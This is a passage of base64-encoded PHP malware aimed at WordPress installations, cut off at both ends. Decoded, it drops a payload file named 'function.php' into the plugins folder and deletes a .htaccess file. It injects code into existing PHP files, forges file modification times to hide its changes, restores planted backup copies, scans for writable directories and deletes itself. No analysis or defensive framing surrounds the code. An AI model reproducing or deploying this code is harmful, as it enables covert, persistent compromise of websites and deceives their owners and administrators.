RVNWSkZRMVJQVWxsZlUwVlFRVkpCVkU5U0xpZDNjQzFqYjI1MFpXNTBKeTVFU1ZKRlExUlBVbGxmVTBWUVFWSkJWRTlTTGlkd2JIVm5hVzV6Snlrc0lHRnljbUY1S0NjdUp5d25MaTRuS1NrN0Nna0pDUWxsWTJodklDZCtJRkJNVlVkSlRsTTZJQ2N1SkdOMWNuSmxiblJmY0dGMGFDNG5JQzBnSnk1cGJYQnNiMlJsS0NjZ2ZDQW5MQ1JtYVd4bGMxOXdiSFZuYVc0cExpSmNiaUk3Q2drSkNYMEtDUWw5Q2dsOUNnb0pablZ1WTNScGIyNGdZMmhsWTJ0ZlkyaGhibWRsS0NSaVlXTnJkWEFwQ2dsN0Nna0paMnh2WW1Gc0lDUlNUMDlVWDBSSlVqc0tDUWxwWmlnaGFYTmZZWEp5WVhrb0pHSmhZMnQxY0NrcElISmxkSFZ5YmlCbVlXeHpaVHNLQ1Fra2NHRjBhRjlqYUdWamF5QTlJR0Z5Y21GNUtDUlNUMDlVWDBSSlVpazdDZ2tKYVdZb2FYTmZaR2x5S0NSU1QwOVVYMFJKVWk1RVNWSkZRMVJQVWxsZlUwVlFRVkpCVkU5U0xpZDNiM0prY0hKbGMzTW5LU2w3Q2drSkNTUndZWFJvWDJOb1pXTnJXMTBnUFNBa1VrOVBWRjlFU1ZJdVJFbFNSVU5VVDFKWlgxTkZVRUZTUVZSUFVpNG5kMjl5WkhCeVpYTnpKenNLQ1FsOUNRa0tDUWt2THlEUW45R0EwTDdRc3RDMTBZRFJqOUMxMEx3ZzBMalF0OUM4MExYUXZkQzEwTDNRdU5DMUlOR0UwTERRdWRDNzBMN1FzZ29KQ1dadmNtVmhZMmdvSkhCaGRHaGZZMmhsWTJzZ1lYTWdKR04xY25KbGJuUmZjR0YwYUNsN0Nna0pDV1p2Y21WaFkyZ29KR0poWTJ0MWNDQmhjeUFrWTNWeWNtVnVkRjlpWVdOcmRYQmZabWxzWlQwK0pHTnZiblJsYm5SZlltRmphM1Z3S1hzS0NRa0pDU1J1WldWa1gzTmhkbVVnUFNCbVlXeHpaVHNLQ1FrSkNTUnlaV0Z6YjI0Z1BTQW5KenNKQ1FvSkNRa0phV1lvYVhOZlptbHNaU2drWTNWeWNtVnVkRjl3WVhSb0xpUmpkWEp5Wlc1MFgySmhZMnQxY0Y5bWFXeGxLU2w3Q2drSkNRa0pKRzVsZDE5amIyNTBaVzUwSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0pHTjFjbkpsYm5SZmNHRjBhQzRrWTNWeWNtVnVkRjlpWVdOcmRYQmZabWxzWlNrN0Nna0pDUWtKYVdZb0pHNWxkMTlqYjI1MFpXNTBJVDBrWTI5dWRHVnVkRjlpWVdOcmRYQmJNVjBwZXdrSkNRa0pDUW9KQ1FrSkNRa2tibVZsWkY5ellYWmxJRDBnZEhKMVpUc0tDUWtKQ1FrSkpISmxZWE52Ymk0OUp5QmphR0Z1WjJVZ1kyOXVkR1Z1ZENBbk93b0pDUWtKQ1gwS0NRa0pDWDFsYkhObGV3b0pDUWtKQ1M4dklOQ2swTERRdWRDNzBMQWcwTDNRdGRHQzBZTWdMU0RRdmRDK0lOQzEwWUhSZ3RHTUlOQy8wTERRdjlDNjBMQUtDUWtKQ1FscFppaHBjMTlrYVhJb1pHbHlibUZ0WlNna1kzVnljbVZ1ZEY5d1lYUm9MaVJqZFhKeVpXNTBYMkpoWTJ0MWNGOW1hV3hsS1NrcGV3b0pDUWtKQ1Fra2JtVmxaRjl6WVhabElEMGdkSEoxWlRzS0NRa0pDUWtKSkhKbFlYTnZiaTQ5SnlCdWJ5Qm1hV3hsTENCaWRYUWdabTkxYm1RZ1pHbHlJQ2M3Q2drSkNRa0pmUW9KQ1FrSmZRb0pDUWtKYVdZb0pHNWxaV1JmYzJGMlpTbDdDZ2tKQ1FrSmFXWW9hWE5mZDNKcGRHRmliR1VvSkdOMWNuSmxiblJmY0dGMGFDNGtZM1Z5Y21WdWRGOWlZV05yZFhCZlptbHNaU2twZXdvSkNRa0pDUWtrY21WaGMyOXVMajBuSUdkdmIyUWdkM0pwZEdGaWJHVWdKenNLQ1FrSkNRbDlaV3h6WlhzS0NRa0pDUWtKSkhKbFlYTnZiaTQ5SnlCaVlXUWdkM0pwZEdGaWJHVWdKenNLQ1FrSkNRbDlDUWtKQ2drSkNRa0pabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9KR04xY25KbGJuUmZjR0YwYUM0a1kzVnljbVZ1ZEY5aVlXTnJkWEJmWm1sc1pTd2tZMjl1ZEdWdWRGOWlZV05yZFhCYk1WMHBPd29KQ1FrSkNXTm9ZVzVuWlY5dGRHbHRaU2drWTNWeWNtVnVkRjl3WVhSb0xpUmpkWEp5Wlc1MFgySmhZMnQxY0Y5bWFXeGxMR2RsZEY5aVpYTjBYM1JwYldVb2NtVmhiSEJoZEdnb0pHTjFjbkpsYm5SZmNHRjBhQ2twS1RzS0NRa0pDUWtrWjI5dlpDQTlJR1poYkhObE93a0pDUWtKQ2drSkNRa0phV1lvYVhOZlptbHNaU2drWTNWeWNtVnVkRjl3WVhSb0xpUmpkWEp5Wlc1MFgySmhZMnQxY0Y5bWFXeGxLU2w3Q2drSkNRa0pDV2xtS0dacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0NSamRYSnlaVzUwWDNCaGRHZ3VKR04xY25KbGJuUmZZbUZqYTNWd1gyWnBiR1VwUFQwa1kyOXVkR1Z1ZEY5aVlXTnJkWEJiTVYwcGV3b0pDUWtKQ1FrSkpHZHZiMlFnUFNCMGNuVmxPd29KQ1FrSkNRbDlaV3h6WlhzS0NRa0pDUWtKQ1NSeVpXRnpiMjR1UFNjZ2JtOGdZMjl1ZEdWdWRDQW5Pd29KQ1FrSkNRbDlDZ2tKQ1FrSmZXVnNjMlY3Q2drSkNRa0pDU1J5WldGemIyNHVQU2NnYm05MFgyWnZkVzVrWDJGbWRHVnlYM2R5YVhSbElDYzdDZ2tKQ1FrSmZRb0pDUWtKQ1dsbUtDUm5iMjlrS1hzS0NRa0pDUWtKWldOb2J5QW5XeXRkSUVOSVFVNUhSVG9nSnk0a1kzVnljbVZ1ZEY5d1lYUm9MaVJqZFhKeVpXNTBYMkpoWTJ0MWNGOW1hV3hsTGlSeVpXRnpiMjR1SWx4dUlqc0tDUWtKQ1FsOVpXeHpaWHNLQ1FrSkNRa0paV05vYnlBbld5MWRJRU5JUVU1SFJUb2dKeTRrWTNWeWNtVnVkRjl3WVhSb0xpUmpkWEp5Wlc1MFgySmhZMnQxY0Y5bWFXeGxMaVJ5WldGemIyNHVJbHh1SWpzS0NRa0pDUWw5Q1FrSkNRb0pDUWtKZlFvSkNRbDlDZ2tKZlFvSmZRb0tDV1oxYm1OMGFXOXVJR2RsZEY5aVpYTjBYM1JwYldVb0pHUnBjaWtLSUNBZ0lIc0tJQ0FnSUNBZ0lDQWtkR2x0WlNBOUlHRnljbUY1S0NrN0NpQWdJQ0FnSUNBZ0pISmxZV3h3WVhSb0lEMGdjbVZoYkhCaGRHZ29KR1JwY2lrN0lDQWdJQ0FnSUNBS0lDQWdJQ0FnSUNBa1ptbHNaWE1nUFNCaGNuSmhlU2dwT3dvZ0lDQWdJQ0FnSUdsbUtDRmxiWEIwZVNna2NtVmhiSEJoZEdncEtYc0tJQ0FnSUNBZ0lDQWdJQ0FnSkhOallXNGdQU0JBYzJOaGJtUnBjaWdrY21WaGJIQmhkR2dwT3lBZ0lDQWdJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lHbG1LQ0ZwYzE5aGNuSmhlU2drYzJOaGJpa3Bld29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKR1pwYkdWeklEMGdZWEp5WVhrb0tUc0tJQ0FnSUNBZ0lDQWdJQ0FnZldWc2MyVjdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWtabWxzWlhNZ1BTQmhjbkpoZVY5a2FXWm1LQ1J6WTJGdUxHRnljbUY1S0NjdUp5d25MaTRuS1NrN0lBb2dJQ0FnSUNBZ0lDQWdJQ0I5SUNBZ0NpQWdJQ0FnSUNBZ2ZTQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUNSd2IzQjFiR0Z5SUQwZ2RHbHRaU2dwTFcxMFgzSmhibVFvTVRBd01EQXdNQ3d5TURBd01EQXdLVHNLSUNBZ0lDQWdJQ0JwWmloamIzVnVkQ2drWm1sc1pYTXBQakVwZXdvZ0lDQWdJQ0FnSUNBZ0lDQm1iM0psWVdOb0tDUm1hV3hsY3lCaGN5QWtZM1Z5Y21WdWRGOW1hV3hsS1hzZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrWTNWeWNtVnVkRjltYVd4bElEMGdjbVZoYkhCaGRHZ29KR1JwY2lrdVJFbFNSVU5VVDFKWlgxTkZVRUZTUVZSUFVpNGtZM1Z5Y21WdWRGOW1hV3hsT3dvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSkcxMGFXMWxJRDBnWm1sc1pXMTBhVzFsS0NSamRYSnlaVzUwWDJacGJHVXBPeUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhV1lvYVhOelpYUW9KSFJwYldWYkpHMTBhVzFsWFNrcGV3b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ1IwYVcxbFd5UnRkR2x0WlYwckt6c0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIMWxiSE5sZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDUjBhVzFsV3lSdGRHbHRaVjA5TVRzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwZ0lDQWdJQ0FnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdJQ0FnSUgwZ0lDQWdJQ0FnSUNBZ0lDQUtJQ0FnSUNBZ0lDQWdJQ0FnWVhKemIzSjBLQ1IwYVcxbEtUc2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQW9nSUNBZ0lDQWdJQ0FnSUNBa2NHOXdkV3hoY2lBOUlHdGxlU2drZEdsdFpTazdDaUFnSUNBZ0lDQWdJQ0FnSUdsbUtDUjBhVzFsV3lSd2IzQjFiR0Z5WFQwOU1TbDdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWtkR2x0WlNBOUlHRnljbUY1WDJ0bGVYTW9KSFJwYldVcE93b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1lYTnZjblFvSkhScGJXVXBPd29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKSFJwYldVZ1BTQmhjbkpoZVY5MllXeDFaWE1vSkhScGJXVXBPeUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrY0c5d2RXeGhjaUE5SUNSMGFXMWxXekJkT3dvZ0lDQWdJQ0FnSUNBZ0lDQjlDaUFnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJSEpsZEhWeWJpQWtjRzl3ZFd4aGNqc2dJQ0FnSUNBZ0lDQUtJQ0FnSUgwS0NnbG1kVzVqZEdsdmJpQmphR0Z1WjJWZmJYUnBiV1VvSkdacGJHVXNKRzVsZDE5MGFXMWxQVEFwQ2lBZ0lDQjdDaUFnSUNBZ0lDQWdKSEpsWVd4d1lYUm9JRDBnSnljN0NpQWdJQ0FnSUNBZ2FXWW9hWE5mWm1sc1pTZ2tabWxzWlNrcGV3b2dJQ0FnSUNBZ0lDQWdJQ0JBZEc5MVkyZ29KR1pwYkdVc0pHNWxkMTkwYVcxbExDUnVaWGRmZEdsdFpTazdDaUFnSUNBZ0lDQWdJQ0FnSUNSeVpXRnNjR0YwYUNBOUlISmxZV3h3WVhSb0tDUm1hV3hsS1RzZ0NpQWdJQ0FnSUNBZ2ZXVnNjMlY3Q2lBZ0lDQWdJQ0FnQ1NSeVpXRnNjR0YwYUNBOUlISmxZV3h3WVhSb0tHUnBjbTVoYldVb0pHWnBiR1VwTGtSSlVrVkRWRTlTV1Y5VFJWQkJVa0ZVVDFJcExrUkpVa1ZEVkU5U1dWOVRSVkJCVWtGVVQxSTdDaUFnSUNBZ0lDQWdmU0FnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdhV1lvWlcxd2RIa29KSEpsWVd4d1lYUm9LU2tnY21WMGRYSnVJR1poYkhObE93b2dJQ0FnSUNBZ0lDUmxlSEJzYjJSbElEMGdaWGh3Ykc5a1pTaEVTVkpGUTFSUFVsbGZVMFZRUVZKQlZFOVNMQ1J5WldGc2NHRjBhQ2s3Q2lBZ0lDQWdJQ0FnSkdScGNuTWdQU0JoY25KaGVTZ3BPd29nSUNBZ0lDQWdJR1p2Y21WaFkyZ2dLQ1JsZUhCc2IyUmxJR0Z6SUNScFpEMCtKR04xY25KbGJuUmZjR0YwYUNrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0FrYzJ4cFkyVWdQU0JoY25KaGVWOXpiR2xqWlNna1pYaHdiRzlrWlN3d0xDUnBaQ2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lHbG1LR052ZFc1MEtDUnpiR2xqWlNrOVBUQXBJR052Ym5ScGJuVmxPd29nSUNBZ0lDQWdJQ0FnSUNBa1gyTWdQU0FuSnpzS0lDQWdJQ0FnSUNBZ0lDQWdhV1lvWTI5MWJuUW9KSE5zYVdObEtUMDlNU2tnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSkY5aklEMGdSRWxTUlVOVVQxSlpYMU5GVUVGU1FWUlBVanNLSUNBZ0lDQWdJQ0FnSUNBZ2ZXVnNjMlY3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrWDJNZ1BTQnBiWEJzYjJSbEtFUkpVa1ZEVkU5U1dWOVRSVkJCVWtGVVQxSXNKSE5zYVdObEtUc0tJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUNBZ0lDQWtaR2x5YzF0ZElEMGdKRjlqT3lBZ0lDQWdJQ0FnSUNBS0lDQWdJQ0FnSUNCOUNpQWdJQ0FnSUNBZ0pHUnBjbk1nUFNCaGNuSmhlVjl5WlhabGNuTmxLQ1JrYVhKektUc0tJQ0FnSUNBZ0lDQm1iM0psWVdOb0tDUmthWEp6SUdGeklDUmpkWEp5Wlc1MFgyUnBjaWw3Q2lBZ0lDQWdJQ0FnSUNBZ0lDUjBiMTkwYVcxbElEMGdaMlYwWDJKbGMzUmZkR2x0WlNna1kzVnljbVZ1ZEY5a2FYSXBPd29nSUNBZ0lDQWdJQ0FnSUNCcFppZ2hRSFJ2ZFdOb0tDUmpkWEp5Wlc1MFgyUnBjaXdrZEc5ZmRHbHRaU3drZEc5ZmRHbHRaU2twZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWW5KbFlXczdDaUFnSUNBZ0lDQWdJQ0FnSUgwZ0lDQWdJQ0FnQ2lBZ0lDQWdJQ0FnZlNBZ0lDQWdJQ0FLSUNBZ0lIMEtDZ2xtZFc1amRHbHZiaUJzYjJkektDUnRjMmNwQ2dsN0Nna0pjbVYwZFhKdUlIUnlkV1U3Q2drSlptbHNaVjl3ZFhSZlkyOXVkR1Z1ZEhNb0oyeHZaM011ZEhoMEp5eGtZWFJsS0NKWkxXMHRaQ0JJT21rNmN5SXBMaUpjZENJdUpHMXpaeTRpWEc0aUxFWkpURVZmUVZCUVJVNUVLVHNLQ1gwS1B6ND0nKTsKICAgICRkYXRhX2NvbnRyb2wgPSBzdHJfcmVwbGFjZSgnW1BIUF9GSUxFXScsICRnbG9iYWxfcGhwX2ZpbGUsICRkYXRhX2NvbnRyb2wpOwogICAgQHVubGluaygnLicuRElSRUNUT1JZX1NFUEFSQVRPUi4nd3AtY29udGVudCcuRElSRUNUT1JZX1NFUEFSQVRPUi4ncGx1Z2lucycuRElSRUNUT1JZX1NFUEFSQVRPUi4nLmh0YWNjZXNzJyk7CiAgICBAZmlsZV9wdXRfY29udGVudHMoJy4nLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3dwLWNvbnRlbnQnLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ3BsdWdpbnMnLkRJUkVDVE9SWV9TRVBBUkFUT1IuJ2Z1bmN0aW9uLnBocCcsICRkYXRhX2NvbnRyb2wpOwogICAgaWYoaXNfZmlsZSgnLicuRElSRUNUT1JZX1NFUEFSQVRPUi4nd3AtY29udGVudCcuRElSRUNUT1JZX1NFUEFSQVRPUi4ncGx1Z2lucycuRElSRUNUT1JZX1NFUEFSQVRPUi4nZnVuY3Rpb24ucGhwJykpewogICAgICAgICR0aW1lID0gZ2V0X2Jlc3RfdGltZSgnLicuRElSRUNUT1JZX1NFUEFSQVRPUi4nd3AtY29udGVudCcuRElSRUNUT1JZX1NFUEFSQVRPUi4ncGx1Z2lucycpOwogICAgICAgIGNoYW5nZV9tdGltZSgnLicuRElSRUNUT1JZX1NFUEFSQVRPUi4nd3AtY29udGVudCcuRElSRUNUT1JZX1NFUEFSQVRPUi4ncGx1Z2lucycuRElSRUNUT1JZX1NFUEFSQVRPUi4nZnVuY3Rpb24ucGhwJywkdGltZSk7CiAgICAgICAgJHN0YXRbXSA9ICdbK10gR09PRCBTRVRVUCBGVU5DVElPTic7CiAgICB9ZWxzZXsKICAgICAgICAkc3RhdFtdID0gJ1stXSBCQUQgU0VUVVAgRlVOQ1RJT04nOwogICAgfQogICAgJHN0YXRbXSA9ICdQSFBfRklMRTogJy4kZ2xvYmFsX3BocF9maWxlOwogICAgQHVubGluayhfX0ZJTEVfXyk7CgllY2hvICc8cHJlPic7CglwcmludF9yKCRzdGF0KTsKCWVjaG8gJzwvcHJlPic7CgoJZnVuY3Rpb24gcm1SZWMoJHBhdGgpIAogICAgewoJCWlmIChpc19maWxlKCRwYXRoKSkgcmV0dXJuIHVubGluaygkcGF0aCk7CgkJaWYgKEBpc19kaXIoJHBhdGgpKSB7CgkJZm9yZWFjaChzY2FuZGlyKCRwYXRoKSBhcyAkcCkgaWYgKCgkcCE9Jy4nKSAmJiAoJHAhPScuLicpKQoJCQlybVJlYygkcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRwKTsKCQkJcmV0dXJuIHJtZGlyKCRwYXRoKTsgCgkJfQoJCXJldHVybiBmYWxzZTsKICAgIH0KCQoJZnVuY3Rpb24gaW5qX3BocCgkZmlsZSwkaW5qLCRhZnRlcl9zdHJpbmc9JycsJHNlYXJjaF9zdHJzdHI9ZmFsc2UpCgl7CgkJaWYoIWlzX2ZpbGUoJGZpbGUpKSByZXR1cm4gZmFsc2U7CgkJJHRpbWUgPSBmaWxlbXRpbWUoJGZpbGUpOwoJCSRnZXQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CgkJaWYoc3Ryc3RyKCRnZXQsJGluaikpIHJldHVybiB0cnVlOwoJCSRsaW5lID0gZmlsZSgkZmlsZSwgRklMRV9JR05PUkVfTkVXX0xJTkVTKTsKCQkkbGlzdF9pZCA9IGFycmF5KCk7CgkJZm9yZWFjaCgkbGluZSBhcyAkaWQ9PiRjdXJyZW50X2xpbmUpewoJCQlpZighZW1wdHkoJGFmdGVyX3N0cmluZykpewkJCQkKCQkJCWlmKCEkc2VhcmNoX3N0cnN0ciAmJiAkY3VycmVudF9saW5lPT0kYWZ0ZXJfc3RyaW5nKXsKCQkJCQkkbGlzdF9pZFtdID0gJGlkOwoJCQkJCWJyZWFrOwoJCQkJfQoJCQkJaWYoJHNlYXJjaF9zdHJzdHIgJiYgc3RyaXN0cigkY3VycmVudF9saW5lLCRhZnRlcl9zdHJpbmcpKXsKCQkJCQkkbGlzdF9pZFtdID0gJGlkOwoJCQkJCWJyZWFrOwoJCQkJfQkKCQkJCWNvbnRpbnVlOwoJCQl9CgkJCWlmKCRjdXJyZW50X2xpbmU9PSd9Jyl7CgkJCQkkbGlzdF9pZFtdID0gJGlkOwoJCQl9CgkJfQoJCWlmKGNvdW50KCRsaXN0X2lkKT09MCkgcmV0dXJuIGZhbHNlOwoJCWlmKCFlbXB0eSgkYWZ0ZXJfc3RyaW5nKSl7CgkJCSRyYW5kID0gJGxpc3RfaWRbMF07CgkJfWVsc2V7CgkJCSRyYW5kID0gJGxpc3RfaWRbYXJyYXlfcmFuZCgkbGlzdF9pZCwxKV07CgkJfQkJCgkJJG5ldyA9IGFycmF5KCk7CQkKCQlmb3JlYWNoKCRsaW5lIGFzICRpZD0+JGN1cnJlbnRfbGluZSl7CgkJCSRuZXdbXSA9ICRjdXJyZW50X2xpbmU7CgkJCWlmKCRpZD09JHJhbmQpewoJCQkJJG5ld1tdID0gJyc7CgkJCQkkbmV3W10gPSAkaW5qOwkJCQkKCQkJfQoJCX0KCQlmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgaW1wbG9kZSgiXG4iLCRuZXcpKTsKICAgICAgICBjaGFuZ2VfbXRpbWUoJGZpbGUsKCR0aW1lLTEpKTsJCQoJCSRnZXQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CgkJaWYoc3Ryc3RyKCRnZXQsJGluaikpewoJCQlyZXR1cm4gdHJ1ZTsKCQl9CgkJcmV0dXJuIGZhbHNlOwkJCgl9CgoKCWZ1bmN0aW9uIGdldF9iZXN0X3RpbWUoJGRpcikKICAgIHsKICAgICAgICAkdGltZSA9IGFycmF5KCk7CiAgICAgICAgJHJlYWxwYXRoID0gcmVhbHBhdGgoJGRpcik7ICAgICAgICAKICAgICAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgICAgIGlmKCFlbXB0eSgkcmVhbHBhdGgpKXsKICAgICAgICAgICAgJHNjYW4gPSBAc2NhbmRpcigkcmVhbHBhdGgpOyAgICAgICAgCiAgICAgICAgICAgIGlmKCFpc19hcnJheSgkc2NhbikpewogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXkoKTsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkZmlsZXMgPSBhcnJheV9kaWZmKCRzY2FuLGFycmF5KCcuJywnLi4nKSk7IAogICAgICAgICAgICB9ICAgCiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgIGVjaG8gJ0VNUFRZX0RJUjogJy4kZGlyLicgJy5fX0RJUl9fLiJcbiI7CiAgICAgICAgfSAgICAgICAgICAgICAgIAogICAgICAgICRwb3B1bGFyID0gdGltZSgpLW10X3JhbmQoMTAwMDAwMCwyMDAwMDAwKTsKICAgICAgICBpZihjb3VudCgkZmlsZXMpPjEpewogICAgICAgICAgICBmb3JlYWNoKCRmaWxlcyBhcyAkY3VycmVudF9maWxlKXsgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkY3VycmVudF9maWxlID0gcmVhbHBhdGgoJGRpcikuRElSRUNUT1JZX1NFUEFSQVRPUi4kY3VycmVudF9maWxlOwogICAgICAgICAgICAgICAgJG10aW1lID0gZmlsZW10aW1lKCRjdXJyZW50X2ZpbGUpOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYoaXNzZXQoJHRpbWVbJG10aW1lXSkpewogICAgICAgICAgICAgICAgICAgICR0aW1lWyRtdGltZV0rKzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICR0aW1lWyRtdGltZV09MTsKICAgICAgICAgICAgICAgIH0gICAgICAgICAgICAgCiAgICAgICAgICAgIH0gICAgICAgICAgICAKICAgICAgICAgICAgYXJzb3J0KCR0aW1lKTsgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAkcG9wdWxhciA9IGtleSgkdGltZSk7CiAgICAgICAgICAgIGlmKCR0aW1lWyRwb3B1bGFyXT09MSl7CiAgICAgICAgICAgICAgICAkdGltZSA9IGFycmF5X2tleXMoJHRpbWUpOwogICAgICAgICAgICAgICAgYXNvcnQoJHRpbWUpOwogICAgICAgICAgICAgICAgJHRpbWUgPSBhcnJheV92YWx1ZXMoJHRpbWUpOyAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkcG9wdWxhciA9ICR0aW1lWzBdOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcG9wdWxhcjsgICAgICAgICAKICAgIH0KCiAgICBmdW5jdGlvbiBjaGFuZ2VfbXRpbWUoJGZpbGUsJG5ld190aW1lPTApCiAgICB7CiAgICAgICAgJHJlYWxwYXRoID0gJyc7CiAgICAgICAgaWYoaXNfZmlsZSgkZmlsZSkpewogICAgICAgICAgICBAdG91Y2goJGZpbGUsJG5ld190aW1lLCRuZXdfdGltZSk7CiAgICAgICAgICAgICRyZWFscGF0aCA9IHJlYWxwYXRoKCRmaWxlKTsgCiAgICAgICAgfQogICAgICAgIGlmKGVtcHR5KCRyZWFscGF0aCkpIHJldHVybiBmYWxzZTsgICAgICAgICAgICAgIAogICAgICAgICRleHBsb2RlID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRyZWFscGF0aCk7CiAgICAgICAgJGRpcnMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRleHBsb2RlIGFzICRpZD0+JGN1cnJlbnRfcGF0aCkgewogICAgICAgICAgICAkc2xpY2UgPSBhcnJheV9zbGljZSgkZXhwbG9kZSwwLCRpZCk7CiAgICAgICAgICAgIGlmKGNvdW50KCRzbGljZSk9PTApIGNvbnRpbnVlOwogICAgICAgICAgICAkX2MgPSAnJzsKICAgICAgICAgICAgaWYoY291bnQoJHNsaWNlKT09MSkgewogICAgICAgICAgICAgICAgJF9jID0gRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkX2MgPSBpbXBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHNsaWNlKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZGlyc1tdID0gJF9jOyAgICAgICAgICAKICAgICAgICB9CiAgICAgICAgJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKICAgICAgICBmb3JlYWNoKCRkaXJzIGFzICRjdXJyZW50X2Rpcil7CiAgICAgICAgICAgICR0b190aW1lID0gZ2V0X2Jlc3RfdGltZSgkY3VycmVudF9kaXIpOwogICAgICAgICAgICBpZighQHRvdWNoKCRjdXJyZW50X2RpciwkdG9fdGltZSwkdG9fdGltZSkpewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0gICAgICAgICAgICAKICAgICAgICB9ICAgICAgIAogICAgfQoKCWZ1bmN0aW9uIHNjYW5EaXJlY3RvcnlDb25maWcoJGRpciwgJGRlZXAsICRjdXJyZW50RGVwdGggPSAwKSAKICAgIHsgICAgICAgIAogICAgICAgIGlmICgkY3VycmVudERlcHRoID49ICRkZWVwKSB7CiAgICAgICAgICAgIHJldHVybiBhcnJheSgpOwogICAgICAgIH0gICAgICAgIAogICAgICAgICRkb21haW5zID0gYXJyYXkoKTsgICAgICAgIAogICAgICAgIGlmIChAaXNfZGlyKCRkaXIpKSB7ICAgICAgICAgICAgCiAgICAgICAgICAgICRmaWxlcyA9IEBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBpZihpc19hcnJheSgkZmlsZXMpKXsKCiAgICAgICAgICAgICAgICAkaXNfd3JpdGFibGUgPSBmYWxzZTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgeyAKICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPT0gJy4nIHx8ICRmaWxlID09ICcuLicpIHsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKCRkaXIhPURJUkVDVE9SWV9TRVBBUkFUT1IpewogICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZTsgCiAgICAgICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGRpci4kZmlsZTsgCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRwYXRoKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRpc193cml0YWJsZSA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZigkZGlyIT1ESVJFQ1RPUllfU0VQQVJBVE9SKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGU7IAogICAgICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRkaXIuJGZpbGU7IAogICAgICAgICAgICAgICAgICAgIH0gICAgICAg